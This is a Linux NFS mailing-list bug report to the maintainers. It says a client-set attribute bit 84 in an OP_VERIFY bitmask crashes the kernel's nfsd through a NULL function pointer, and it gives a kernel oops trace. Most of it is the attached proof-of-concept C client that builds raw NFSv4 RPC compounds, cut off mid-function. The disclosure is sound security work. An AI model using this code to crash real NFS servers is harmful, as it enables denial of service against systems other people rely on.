* client can crash nfsd4_encode_fattr4() by setting bit 84
@ 2025-09-10 13:55 rtm
2025-09-10 14:49 ` Jeff Layton
0 siblings, 1 reply; 6+ messages in thread
From: rtm @ 2025-09-10 13:55 UTC (permalink / raw)
To: Chuck Lever, Jeff Layton
Cc: NeilBrown, Olga Kornievskaia, Dai Ngo, Tom Talpey, linux-nfs
[-- Attachment #1: Type: text/plain, Size: 2583 bytes --]
Entry 84 (and a few neighbors) in nfsd4_enc_fattr4_encode_ops[] is
NULL, so if a client sets that bit in an OP_VERIFY bitmask, the server
will crash here in nfsd_encode_fattr4():
for_each_set_bit(bit, attr_bitmap,
ARRAY_SIZE(nfsd4_enc_fattr4_encode_ops)) {
status = nfsd4_enc_fattr4_encode_ops[bit](xdr, &args);
I've attached a demo:
# cc nfsd128b.c
# ./a.out
...
[ 354.732253] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 354.733355] #PF: supervisor instruction fetch in kernel mode
[ 354.734247] #PF: error_code(0x0010) - not-present page
[ 354.735053] PGD 0 P4D 0
[ 354.735482] Oops: Oops: 0010 [#1] SMP PTI
[ 354.736120] CPU: 2 UID: 0 PID: 1459 Comm: nfsd Not tainted 6.17.0-rc4-00231-gc8ed9b5c02a5 #28 PREEMPT(voluntary)
[ 354.737664] Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
[ 354.738645] RIP: 0010:0x0
[ 354.739087] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
[ 354.739677] RSP: 0018:ffffa7a380e0fa20 EFLAGS: 00010293
[ 354.739956] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000053
[ 354.740327] RDX: 0000000000000014 RSI: ffffa7a380e0fa78 RDI: ffffa7a380e0fc50
[ 354.740691] RBP: ffffa7a380e0fc28 R08: 0000000000000001 R09: ffffa7a380e0fa68
[ 354.741060] R10: 0000000000000000 R11: 0000000000140000 R12: ffffa7a380e0fc50
[ 354.741432] R13: 0000000000000010 R14: 0000000000000054 R15: ffffa36c03bdba00
[ 354.741802] FS: 0000000000000000(0000) GS:ffffa36fa6c88000(0000) knlGS:0000000000000000
[ 354.742215] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 354.742519] CR2: ffffffffffffffd6 CR3: 00000001885a6003 CR4: 00000000003706f0
[ 354.742887] Call Trace:
[ 354.743030] <TASK>
[ 354.743152] nfsd4_encode_fattr4+0x310/0x6b0
[ 354.743396] nfsd4_encode_fattr_to_buf+0xb8/0xf0
[ 354.743645] ? _nfsd4_verify+0x9a/0x160
[ 354.743861] ? _nfsd4_verify+0xd0/0x160
[ 354.744072] _nfsd4_verify+0xd0/0x160
[ 354.744278] nfsd4_verify+0x9/0x20
[ 354.744466] nfsd4_proc_compound+0x39c/0x720
[ 354.744701] nfsd_dispatch+0xd2/0x210
[ 354.744903] svc_process_common+0x481/0x630
[ 354.745130] ? __pfx_nfsd_dispatch+0x10/0x10
[ 354.745362] svc_process+0x12c/0x1b0
[ 354.745558] svc_recv+0x7d0/0x990
[ 354.745738] ? __pfx_nfsd+0x10/0x10
[ 354.745929] nfsd+0x8a/0xe0
[ 354.746083] kthread+0xf6/0x1f0
[ 354.746260] ? __pfx_kthread+0x10/0x10
[ 354.746464] ret_from_fork+0x80/0xd0
[ 354.746658] ? __pfx_kthread+0x10/0x10
[ 354.746859] ret_from_fork_asm+0x1a/0x30
[ 354.747069] </TASK>
Robert Morris
rtm@mit.edu
[-- Attachment #2: nfsd128b.c --]
[-- Type: application/octet-stream, Size: 45249 bytes --]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>
int s; // socket fd
int xid = 1;
unsigned long long clientid; // server tells us in exchange_id reply
unsigned int sequenceid;
unsigned int slot0sequenceid = 1;
char sessionid[16];
struct stateid {
int seqid;
char other[12];
};
struct stateid sid; // most recent received
struct fh {
int len;
char fh[256];
};
struct fh fh; // most recent received
static unsigned long symx() {
return 0;
}
int symstart = -1;
char obuf[10240];
int oi = 0;
void
sys(const char *cmd)
{
volatile int junk = system(cmd);
(void) junk;
}
void put_fattr4_one();
void put_fattr4_many();
void
put32(unsigned int x)
{
assert((oi % 4) == 0);
*(int*)(obuf+oi) = htonl(x);
oi += 4;
}
void
put64(unsigned long long x)
{
put32(x >> 32);
put32(x);
}
void
put_opaque(int n, const char *buf)
{
put32(n);
for(int i = 0; i < n; i++)
obuf[oi++] = (buf ? buf[i] : 0);
while(n & 3){
obuf[oi++] = 0;
n++;
}
}
void
put_opaque_repeat(int n, char c)
{
put32(n);
for(int i = 0; i < n; i++)
obuf[oi++] = c;
while((n%4)!=0){
obuf[oi++] = 0;
n++;
}
}
void
put_sessionid(const char *sid)
{
for(int i = 0; i < 16; i++){
obuf[oi++] = (sid ? sid[i] : 0);
}
}
void
put_reset()
{
oi = 4; // leave room for packet length
}
void
send_send()
{
assert(oi >= 4);
assert((oi % 4) == 0);
assert(oi <= sizeof(obuf));
for(int i = 0; i < 16; i++)
put32(0xffffffff);
if(symstart != -1){
for(int i = symstart; i < oi; i += 8)
*(long long *)(obuf + i) ^= symx();
}
*(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
printf("writing %d xid %d\n", oi, ntohl(*(int*)(obuf+4)));
if(write(s, obuf, oi) <= 0) perror("write");
oi = 0;
symstart = -1;
}
void
put_rpc_header(int proc)
{
put_reset();
put32(xid++);
put32(0); // mtype=CALL
put32(2); // rpc version
put32(100003); // prog #
put32(4); // prog vers
put32(proc); // proc
if(proc == 0){
put32(0); // cred type
put32(0); // cred len
} else {
put32(1); // cred type AUTH_SYS / AUTH_UNIX
put32(32); // cred length
put32(0); // stamp
put_opaque(9, "localhost");
put32(65534); // uid
put32(65534); // gid
put32(0); // # gids
}
put32(0); // verf type
put32(0); // verf len
}
void
put_compound(int n)
{
put_rpc_header(1);
// compound header
put_opaque(0, ""); // tag
put32(2); // minor version
put32(n); // # operations in the compound
}
// most COMPOUNDs are required to start with a SEQUENCE.
void
put_sequence()
{
put32(53); // SEQUENCE
put_sessionid(sessionid); // sessionid (16 bytes)
put32(slot0sequenceid++); // sequenceid ???
put32(0); // slotid
put32(0); // highest_slotid
put32(0); // cachethis
}
void
put_reclaim_complete()
{
put32(58); // RECLAIM_COMPLETE
put32(0); // 0 means global, 1 means just current fh
}
char ibuf[10240];
int ii;
int ilen;
int
readn(int fd, void *xbuf, int n)
{
char *buf = (char *) xbuf;
int orig = n;
while(n > 0){
int cc = read(fd, buf, n);
if(cc <= 0) { perror("read"); return -1; }
n -= cc;
buf += cc;
}
return orig;
}
unsigned int
parse32()
{
if(ii >= ilen){
printf("parsed beyond the end of the input\n");
return 0;
}
unsigned int x = *(int*)(ibuf+ii);
ii += 4;
return ntohl(x);
}
unsigned long long
parse64()
{
unsigned long long hi = parse32();
unsigned long long lo = parse32();
return (hi << 32) | lo;
}
// sessionid4 -- 16 bytes
void
parse_sessionid(char *sid)
{
for(int i = 0; i < 16; i++){
if(sid)
sid[i] = ibuf[ii];
ii++;
}
}
void
put_sid(char *sid)
{
for(int i = 0; i < 16; i++){
obuf[oi++] = (sid ? sid[i] : 0);
}
}
// sessionid4 -- 16 bytes
void
parse_sid(char *sid)
{
for(int i = 0; i < 16; i++){
if(sid)
sid[i] = ibuf[ii];
ii++;
}
}
unsigned int
parse_opaque(char *buf)
{
if(buf)
buf[0] = 0;
int nominal_n = parse32();
if(nominal_n > 4096){
printf("crazy opaque length %d\n", nominal_n);
return 0;
}
int real_n = nominal_n;
while((real_n%4) != 0) real_n += 1;
for(int i = 0; i < real_n; i++){
if(buf && i < real_n)
buf[i] = ibuf[ii];
ii++;
}
return nominal_n;
}
void
parse_exchange_id_reply()
{
int status = parse32();
if(status != 0)
printf("exchange_id reply status %d, not 0\n", status);
clientid = parse64();
sequenceid = parse32();
printf("exchange_id clientid 0x%llx sequenceid 0x%x\n", clientid, sequenceid);
}
void
parse_create_session_reply()
{
int status = parse32();
if(status != 0)
printf("create_session reply status %d, not 0\n", status);
parse_sessionid(sessionid);
}
void
parse_sequence_reply()
{
int status = parse32();
if(status != 0)
printf("sequence reply status %d, not 0\n", status);
parse_sessionid(0);
parse32(); // sequenceid
parse32(); // slotid
parse32(); // highest_slotid
parse32(); // target_highest_slotid
parse32(); // status_flags
}
void
parse_putrootfh_reply()
{
int status = parse32();
if(status != 0)
printf("putrootfh_reply status %d\n", status);
}
void
parse_lookup_reply()
{
int status = parse32();
if(status != 0)
printf("lookup_reply status %d\n", status);
}
void
parse_stateid()
{
sid.seqid = parse32();
for(int i = 0; i < 12; i++)
sid.other[i] = ibuf[ii++];
}
void
parse_open_reply()
{
int status = parse32();
if(status != 0){
printf("open status %d\n", status);
return;
}
parse_stateid();
parse32(); // change_info atomic
parse64(); // change_info before
parse64(); // change_info after
parse32(); // rflags
unsigned int bitwords = parse32(); // attrset
for(int i = 0; i < bitwords; i++)
parse32();
int delegation_type = parse32(); // open_delegation4
if(delegation_type == 0){
// OPEN_DELEGATE_NONE
} else if(delegation_type == 1){
// OPEN_DELEGATE_READ
// open_read_delegation4
parse32(); // stateid seqid
parse32(); // other
parse32(); // other
parse32(); // other
parse32(); // recall
// nfsace4
parse32(); // nfsace4 type
parse32(); // nfsace4 flag
parse32(); // nfsace4 access_mark
parse_opaque(0); // nfsace4 who
} else if(delegation_type == 2){
// OPEN_DELEGATE_WRITE
parse32(); // stateid seqid
parse32(); // other
parse32(); // other
parse32(); // other
parse32(); // recall
// nfs_space_limit4
int limitby = parse32();
if(limitby == 1){
// NFS_LIMIT_SIZE
parse64(); // filesize
} else if(limitby == 2){
// NFS_LIMIT_BLOCKS
parse32(); // num_blocks
parse32(); // bytes_per_block
} else {
printf("open reply, unknown limitby %d\n", limitby);
}
// nfsace4
parse32(); // nfsace4 type
parse32(); // nfsace4 flag
parse32(); // nfsace4 access_mark
parse_opaque(0); // nfsace4 who
} else {
printf("DID NOT understand delegation_type %d\n", delegation_type);
}
}
void
parse_compound_reply()
{
int stat = parse32(); // OK
parse_opaque(0);
int nops = parse32();
printf("compound reply, nops %d, stat %d", nops, stat);
if(stat > 0 && stat < 200){
printf(" %s", strerror(stat));
}
printf("\n");
for(int opi = 0; opi < nops && ii < ilen; opi++){
int op = parse32();
printf("reply for op %d\n", op);
if(op == 53){
parse_sequence_reply();
} else if(op == 42){
parse_exchange_id_reply();
} else if(op == 43){
parse_create_session_reply();
} else if(op == 24){
parse_putrootfh_reply();
} else if(op == 15){
parse_lookup_reply();
} else if(op == 18){
parse_open_reply();
} else if(op == 26){
int status = parse32();
if(status != 0){
printf("readdir status %d\n", status);
} else {
long long verf = parse64();
int nentries = parse32();
long long cookie = parse64();
char name[1024];
memset(name, 0, sizeof(name));
parse_opaque(name);
//printf("verf %llx *entries %d cookie %llx name %s\n", verf, nentries, cookie, name);
}
break;
} else if(op == 34){
int status = parse32();
printf("setattr status %d\n", status);
break;
} else if(op == 22){
// putfh
int status = parse32();
if(status != 0)
printf("putfh status %d\n", status);
} else if(op == 32){
// savefh
int status = parse32();
if(status != 0)
printf("savefh status %d\n", status);
} else if(op == 10){
// getfh
int status = parse32();
if(status == 0){
fh.len = parse_opaque(fh.fh);
} else {
printf("getfh status %d\n", status);
}
} else if(op == 60){
// copy
int status = parse32();
if(status != 0)
printf("copy status %d\n", status);
} else if(op == 6){
// CREATE
int status = parse32();
if(status != 0){
printf("create status %d\n", status);
} else {
parse32(); // change_info atomic
parse64(); // change_info before
parse64(); // change_info after
int na = parse32(); // bitmap4 size
for(int i = 0; i < na; i++)
parse32();
}
} else if(op == 74){
// LISTXATTRS
int status = parse32();
if(status != 0){
printf("listxattrs status %d\n", status);
} else {
parse64(); // nfs_cookie4
int nnames = parse32();
for(int i = 0; i < nnames; i++){
char name[1024];
int len = parse_opaque(name);
name[len] = '\0';
// printf("xattr %s\n", name);
}
parse32(); // bool lxr_eof
}
} else {
printf("reply for unknown op %d\n", op);
break;
}
}
}
void
parse_callback(int xid)
{
parse32(); // rpc version
parse32(); // prog #
parse32(); // prog vers
int proc = parse32(); // proc
parse32(); // auth flavor
parse_opaque(0); // auth
parse32(); // verf flavor
parse_opaque(0); // verf
printf("callback proc=%d\n", proc);
oi = 0;
put32(0); // placeholder
put32(xid);
put32(1); // REPLY
put32(0); // MSG_ACCEPTED
put32(0); // opaque_auth flavor = AUTH_NULL
put32(0); // opaque_auth length
put32(0); // SUCCESS
int xoi = oi;
if(proc == 0){
// nop
} else if(proc == 1){
// compound
parse_opaque(0); // tag
parse32(); // minorversion
parse32(); // callback_ident
int nops = parse32();
put32(0); // status
put_opaque(0, ""); // tag
put32(nops);
for(int opi = 0; opi < nops; opi++){
int op = parse32();
xoi = oi;
put32(op);
if(op == 11){
// CB_SEQUENCE
char sid[16];
parse_sid(sid);
int seq = parse32(); // sequenceid
int slot = parse32(); // slotid
int hislot = parse32(); // highest_slotid
parse32(); // cachethis
int nrcl = parse32(); // csa_referring_call_lists<>
for(int rci = 0; rci < nrcl; rci++){
parse32(); // sessionid
parse32();
parse32();
parse32();
int nxxx = parse32(); // rcl_referring_calls<>
for(int xi = 0; xi < nxxx; xi++){
parse32(); // sequenceid
parse32(); // slotid
}
}
put_sid(sid);
put32(seq); // sequenceid
put32(slot); // slotid
put32(hislot); // highest_slotid
put32(hislot); // target_highest_slotid
} else if(op == 4){
printf("CB_RECALL\n");
// stateid4
parse32(); // seqid
parse32(); // other
parse32();
parse32();
parse32(); // truncate
parse_opaque(0); // fh
put32(0); // OK
} else {
printf("callback unknown op %d\n", op);
break;
}
}
} else {
printf("callback: unknown proc %d\n", proc);
}
send_send();
}
void
parse_reply(int proc)
{
int desired_xid = xid - 1;
again:
if(readn(s, &ilen, 4) < 0)
return;
ilen = ntohl(ilen);
if((ilen & 0x80000000) == 0)
printf("ilen is missing 0x80000000\n");
ilen &= 0x7fffffff;
if(ilen > sizeof(ibuf)){
printf("huge packet %d\n", ilen);
return;
}
if(readn(s, ibuf, ilen) < 0)
return;
ii = 0;
int xxid = parse32(); // xid
int mtype = parse32(); // 1 = REPLY
if(mtype == 0){
// CALL -- a callback
parse_callback(xxid);
goto again;
}
if(xxid != desired_xid){
printf("xid mismatch, wanted 0x%x, got 0x%x, ilen %d, ii %d\n", desired_xid, xxid, ilen, ii);
}
if(mtype != 1)
printf("unexpected mtype %d, expected 1 / REPLY\n", mtype);
int stat = parse32(); // MSG_ACCEPTED
if(stat != 0)
printf("unexpected reply stat %d, expected 0 / MSG_ACCEPTED\n", stat);
int flavor = parse32(); // auth flavor
if(flavor != 0)
printf("unexpected auth_flavor %d, expecting 0 / AUTH_NONE\n", flavor);
parse_opaque(0); // verf
stat = parse32(); // SUCCESS
if(stat != 0)
printf("unexpected stat %d, expected 0 / SUCCESS\n", stat);
if(proc == 0){
printf("got reply for proc %d\n", proc);
} else if(proc == 1){
parse_compound_reply();
} else {
printf("got unexpected reply for proc %d xid %d\n", proc, xxid);
}
}
void
send_nop()
{
put_rpc_header(0);
send_send();
parse_reply(0);
}
void
send_exchange_id(int dosym)
{
put_compound(1);
if(dosym && symstart == -1)
symstart = oi;
put32(42); // operation 42: EXCHANGE_ID
int co_verifier = 1;
co_verifier = getpid(); // needs to be unique
put64(co_verifier); // verifier4
put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid
put32(0x103); // flags
put32(0); // SP4_NONE
put32(1); // length of client_impl_id
put_opaque(10, "kernel.org"); // nii_domain
put_opaque(4, "blah"); // nii_name
put64(0); // nfstime4
put32(0); // nfstime4
send_send();
parse_reply(1);
}
void
send_exchange_id_sym()
{
put_compound(1);
put32(42); // operation 42: EXCHANGE_ID
put64(1); // verifier4
put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid
put32(0x103 ^ symx()); // flags
unsigned int how = symx();
put32(how);
int xoi = oi;
if(how == 0){ // SP4_NONE
} else if(how == 1){ // SP4_MACH_CRED
put32(3);
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put32(3);
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
} else if(how == 2){ // SP4_SSV
// ssp_ops
put32(3);
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
// ssp_hash_algs<>
put32(2);
put_opaque(8, "12345678");
put_opaque(8, "1bcdefgh");
// ssp_encr_algs<>
put32(2);
put_opaque(8, "12345678");
put_opaque(8, "1bcdefgh");
put32(99); // ssp_window
put32(99); // ssp_num_gss_handles
}
unsigned int n = symx();
if(n > 20) n = 20;
put32(n); // length of client_impl_id
for(int i = xoi; i < oi; i += 8)
*(long long *)(obuf+i) ^= symx();
for(int i = 0; i < n; i++){
put_opaque_repeat(symx() & 0xff, 'x'); // nii_domain
put_opaque_repeat(symx() & 0xff, 'y'); // nii_name
put64(0); // nfstime4
put32(0); // nfstime4
}
send_send();
parse_reply(1);
}
void
send_create_session(int dosym)
{
put_compound(1);
put32(43); // CREATE_SESSION
put64(clientid);
put32(sequenceid++);
if(dosym && symstart == -1)
symstart = oi;
put32(3); // flags, 1=FLAG_PERSIST, 2=CONN_BACK_CHAN
// csa_fore_chan_attrs, csa_back_chan_attrs
for(int i = 0; i < 2; i++){
put32(0); // headerpadsize
put32(4096); // maxrequestsize
put32(4096); // maxresponsesize
put32(4096); // maxresponsesize_cached
put32(12); // maxoperations
put32(16); // maxrequests
put32(0); // ca_rdma_ird<>
}
put32(0x40000000); // csa_cb_program
put32(1); // length of csa_sec_parms
#if 0
put32(0); // AUTH_NONE
#else
put32(1); // flavor AUTH_SYS
put32(0); // stamp
put_opaque(9, "localhost");
put32(65534); // uid
put32(65534); // gid
put32(0); // # gids
#endif
send_send();
parse_reply(1);
}
void
send_sequence()
{
put_compound(1);
put_sequence();
send_send();
parse_reply(1);
}
void
send_reclaim_complete()
{
put_compound(2);
put_sequence();
put_reclaim_complete();
send_send();
parse_reply(1);
}
void
put_rootfh()
{
put32(24);
}
// struct OPEN4args {
// seqid4 seqid;
// uint32_t share_access;
// uint32_t share_deny;
// open_owner4 owner;
// openflag4 openhow;
// open_claim4 claim;
// };
void
put_open_existing(const char *filename, int share)
{
put32(18);
put32(0); // seqid
put32(share); // share_access 1=READ 3=BOTH
put32(0); // share_deny
put64(clientid); // owner
put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
put32(0); // openhow OPEN4_NOCREATE
put32(0); // CLAIM_NULL
put_opaque(strlen(filename), filename);
}
void
put_open_create(char *name, int dosym)
{
put32(18);
put32(0); // seqid
put32(3); // share_access BOTH
put32(0); // share_deny
put64(clientid); // owner
put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
put32(1); // openhow OPEN4_CREATE
unsigned int mode = 0; // UNCHECKED4
if(dosym)
mode ^= symx();
put32(mode);
if(mode == 2 || mode == 3){
put64(0); // verifier
}
if(mode != 2){
if(dosym){
//put_fattr4_one();
put32(2);
put64(symx());
put32(16*8);
for(int i = 0; i < 16; i++)
put64(symx());
} else {
put32(2); // attr bitmap length
put32(16); // attr bits
put32(2); // attr bits
put32(12); // attr len
put32(0);
put32(0);
put32(420);
}
}
unsigned int claim_type = 0; // CLAIM_NULL
if(dosym)
claim_type ^= symx();
put32(claim_type);
{
char ff[256];
sprintf(ff, "/tmp/%s", name);
unlink(ff);
}
if(claim_type == 0 || claim_type == 3){
put_opaque(strlen(name), name);
} else if(claim_type == 1){ // CLAIM_PREVIOUS
put32(symx());
} else if(claim_type == 2){ // CLAIM_DELEGATE_CUR
// stateid4
put32(sid.seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
put_opaque(strlen(name), name);
} else if(claim_type == 4){ // CLAIM_FH
} else if(claim_type == 5){ // CUR_FH
put32(sid.seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
} else if(claim_type == 6){ // PREV_FH
}
}
void
put_readdir(int dosym)
{
put32(26);
if(dosym && symstart == -1)
symstart = oi;
put64(0); // cookie
put64(0); // cookieverf
put32(512); // dircount (bytes)
put32(512); // maxcount (bytes)
// bitmap
put32(3);
put32(0x0018091a);
put32(0x00b0a23a);
put32(0);
}
void
put_lookup(const char *name)
{
put32(15);
put_opaque(strlen(name), name);
}
//
// generates a fattr4 (bitmap4 then attrlist4).
//
void
put_fattr4(int xwords[], int fh)
{
int words[3];
for(int i = 0; i < 3; i++){
words[i] = xwords[i];
}
int bitwords = 3;
put32(bitwords);
int word0i = oi;
for(int i = 0; i < bitwords; i++)
put32(words[i]);
int leni = oi;
put32(0); // placeholder for total length of attrs
for(int a = 0; a < bitwords*32; a++){
if(words[a/32] & (1 << (a % 32))){
int xoi = oi;
if(a == 0){
put32(2); // # bitmap words of supported attrs
put32(0xffffffff);
put32(0xffffffff);
} else if(a == 1){
int type = 1;
if(fh == 0 || fh == 1)
type = 2;
put32(type); // NF4DIR=2 or NF4REG=1
} else if(a == 2){
put32(0); // fh_expire_type
} else if(a == 3){
put64(0); // change
} else if(a == 4){
put64(4096*10); // size
} else if(a == 5){
put32(1); // link support
} else if(a == 6){
put32(1); // symlink support
} else if(a == 8){
put64(1); // fsid major
put64(1); // fsid minor
} else if(a == 10){
put32(1); // lease time
} else if(a == 11){
put32(0); // rdattr_error
} else if(a == 12){
// ACL
int n = 2;
put32(n);
for(int i = 0; i < n; i++){
put32(0); // type
put32(0); // flag
put32(0); // mask
char who[32];
memset(who, 0, sizeof(who));
//strcpy(who, "1");
//strcpy(who, "OWNER@");
//strcpy(who, "GROUP@");
strcpy(who, "bin@x.com");
put_opaque(strlen(who), who);
}
} else if(a == 13){
put32(0xf); // aclsupport
} else if(a == 19){
// filehandle
int xfh = fh;
put_opaque(4, (char*)&xfh); // fh
} else if(a == 20){
put64(fh); // fileid
} else if(a == 24){
// fs_locations
put32(1);
put_opaque(10, "abcde12345"); // pathname4
put32(1); // locations<>
put_opaque(10, "abcde12345"); // server
put32(1);
put_opaque(10, "abcde12345"); // rootpath
} else if(a == 27){
put64(0xffffffffffff); // max file size
} else if(a == 28){
put32(0xffff); // max link
} else if(a == 29){
put32(256); // max name
} else if(a == 30){
put64(10*4096); // max read
} else if(a == 31){
put64(10*4096); // max write
} else if(a == 33){
put32(0777); // mode
} else if(a == 35){
put32(3); // numlinks
} else if(a == 36){
put_opaque(6, "other"); // owner
} else if(a == 37){
put_opaque(6, "other"); // owner_group
} else if(a == 41){
put32(1); // rawdev major
put32(1); // rawdev minor
} else if(a == 45){
put64(4096*10); // space used
} else if(a == 47){
put64(0); // time access seconds
put32(0); // nseconds
} else if(a == 51){
put64(0); // time delta seconds
put32(0); // nseconds
} else if(a == 52){
put64(0); // time metadata seconds
put32(0); // nseconds
} else if(a == 53){
put64(0); // time modify seconds
put32(0); // nseconds
} else if(a == 55){
put64(0); // mounted_on_fileid ???
} else if(a == 62){
// fs_layout_types
put32(1);
put32(1); // LAYOUT4_NFSV4_1_FILES
} else if(a == 75){
// FATTR4_SUPPATTR_EXCLCREAT
put32(2); // bitmap length
put32(0xffffffff);
put32(0xffffffff);
} else {
// unknown attr, delete from bitmap.
words[a/32] &= ~(1 << (a % 32));
*(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
}
}
}
for(int i = 0; i < 16; i++)
put32(0xffffffff);
*(int*)(obuf+leni) = htonl(oi - leni - 4);
}
void
put_fattr4_inner(int words[])
{
int bitwords = 3;
put32(bitwords);
int word0i = oi;
for(int i = 0; i < bitwords; i++)
put32(words[i]);
int leni = oi;
put32(0); // placeholder for total length of attrs
for(int a = 0; a < bitwords*32; a++){
if(words[a/32] & (1 << (a % 32))){
if(a == 0){
int n = 3 ^ (symx() & 0xf);
put32(n); // # bitmap words of supported attrs
for(int i = 0; i < n; i++){
put32(0xffffffff ^ symx());
}
} else if(a == 1){
put32(1 ^ symx()); // NF4DIR=2 or NF4REG=1
} else if(a == 2){
put32(symx()); // fh_expire_type
} else if(a == 3){
put64(symx()); // change
} else if(a == 4){
put64(103 ^ symx()); // size
} else if(a == 5){
put32(symx()); // link support
} else if(a == 6){
put32(symx()); // symlink support
} else if(a == 8){
put64(symx()); // fsid major
put64(symx()); // fsid minor
} else if(a == 10){
put32(symx()); // lease time
} else if(a == 11){
put32(symx()); // rdattr_error
} else if(a == 12){
// ACL
int n = 1 ^ symx();
put32(n);
for(int i = 0; i < n && i < 2; i++){
put32(symx()); // type
put32(symx()); // flag
put32(symx()); // mask
char who[32];
memset(who, 0, sizeof(who));
// strcpy(who, "65534");
//strcpy(who, "OWNER@");
strcpy(who, "bin@x.com");
*(long long*)who ^= symx();
put_opaque(strlen(who), who);
}
} else if(a == 13){
put32(0xf ^ symx()); // aclsupport
} else if(a == 19){
// filehandle
int n = symx() & 0xff;
put_opaque_repeat(n, 'x');
} else if(a == 20){
put64(symx() & 0x3); // fileid
} else if(a == 24){
// fs_locations
put_opaque(10, "abcde12345"); // pathname4
int n = symx() & 0x1f;
put32(n); // locations<>
for(int i = 0; i < n; i++){
put_opaque_repeat(symx() & 0x1ff, 'x'); // server
put_opaque_repeat(symx() & 0x1ff, 'y'); // rootpath
}
} else if(a == 27){
put64(symx()); // max file size
} else if(a == 28){
put32(symx()); // max link
} else if(a == 29){
put32(symx()); // max name
} else if(a == 30){
put64(symx()); // max read
} else if(a == 31){
put64(symx()); // max write
} else if(a == 33){
put32(symx()); // mode
} else if(a == 35){
put32(symx()); // numlinks
} else if(a == 36){
put_opaque_repeat(symx() & 0x1ff, 'z'); // owner
} else if(a == 37){
put_opaque_repeat(symx() & 0x1ff, 'z'); // owner_group
} else if(a == 41){
put32(symx()); // rawdev major
put32(symx()); // rawdev minor
} else if(a == 45){
put64(symx()); // space used
} else if(a == 47){
put64(0); // time access seconds
put32(0); // nseconds
} else if(a == 51){
put64(symx()); // time delta seconds
put32(symx()); // nseconds
} else if(a == 52){
put64(0); // time metadata seconds
put32(0); // nseconds
} else if(a == 53){
put64(0); // time modify seconds
put32(0); // nseconds
} else if(a == 55){
put64(symx()); // mounted_on_fileid ???
} else if(a == 62){
// fs_layout_types
put32(symx());
put32(symx()); // LAYOUT4_NFSV4_1_FILES
} else if(a == 75){
// FATTR4_SUPPATTR_EXCLCREAT
int n = symx() & 0xf;
put32(n); // # bitmap words of supported attrs
for(int i = 0; i < n; i++){
put32(symx());
}
} else {
// unknown attr, delete from bitmap.
words[a/32] &= ~(1 << (a % 32));
*(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
}
}
}
for(int i = 0; i < 16; i++)
put32(0xffffffff);
*(int*)(obuf+leni) = htonl(oi - leni - 4);
}
//
// generate a symbolic fattr4, with multiple elements.
// tries to avoid generating illegal XDR.
//
void
put_fattr4_many()
{
int bitwords = 3;
int words[4];
memset(words, 0, sizeof(words));
int setme[] = { -1 };
for(int i = 0; setme[i] >= 0; i++){
int a = setme[i];
words[a/32] |= 1 << (a % 32);
}
for(int i = 0; i < bitwords; i++){
words[i] ^= symx();
}
put_fattr4_inner(words);
}
//
// a symbolic fattr4 with just one item set.
//
void
put_fattr4_one()
{
int bitwords = 3;
int words[4];
memset(words, 0, sizeof(words));
unsigned int bit = symx();
if(bit >= 3*32)
bit = 4;
words[bit/32] |= 1 << (bit % 32);
put_fattr4_inner(words);
}
void
put_getfh()
{
put32(10);
}
void
put_setattr(int dosym)
{
put32(34);
put32(sid.seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
#if 1
if(dosym && symstart == -1)
symstart = oi + 4;
int words[3];
words[0] = words[1] = words[2] = 0;
words[0] |= (1 << 12); // acl
put_fattr4(words, 1);
#else
put_fattr4_one();
#endif
}
void
put_savefh()
{
put32(32);
}
// sharing should not be zero.
void
send_open_existing(const char *filename, int sharing)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_existing(filename, sharing);
put_getfh();
send_send();
parse_reply(1);
}
void
send_open_create(char *name, int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_create(name, dosym);
put_getfh();
send_send();
parse_reply(1);
}
void
put_create_xxx()
{
put32(6);
int type = 5; // NFS4LNK
type ^= symx();
put32(type);
if(type == 5){
put_opaque(16, "abcdefgh12345678");
} else if(type == 4 || type == 3){ // CHR, BLK
put32(symx()); // major
put32(symx()); // minor
}
unlink("/tmp/newlink");
put_opaque(7, "newlink");
put_fattr4_one();
if(0){
put32(3); // fattr4 bitmap size
put32(0);
put32(0);
put32(0);
put32(0); // opaque fattr4 size
}
}
void
send_create()
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_create_xxx();
send_send();
parse_reply(1);
}
void
put_mkdir(char *name, int dosym)
{
put32(6); // CREATE
if(dosym && symstart == -1)
symstart = oi;
put32(2); // createtype4 NFS4DIR
put_opaque(strlen(name), name); // component4
put32(3); // fattr4 bitmap size
put32(0);
put32(0);
put32(0);
put32(0); // attrlist4, total length of fattrs
}
void
send_mkdir(char *name, int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_mkdir(name, dosym);
put_getfh();
send_send();
parse_reply(1);
}
void
send_setattr(char *name, int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_lookup(name);
put_setattr(dosym);
send_send();
parse_reply(1);
}
void
put_set_acl(int dosym)
{
put32(34);
put32(sid.seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
int words[3];
words[0] = words[1] = words[2] = 0;
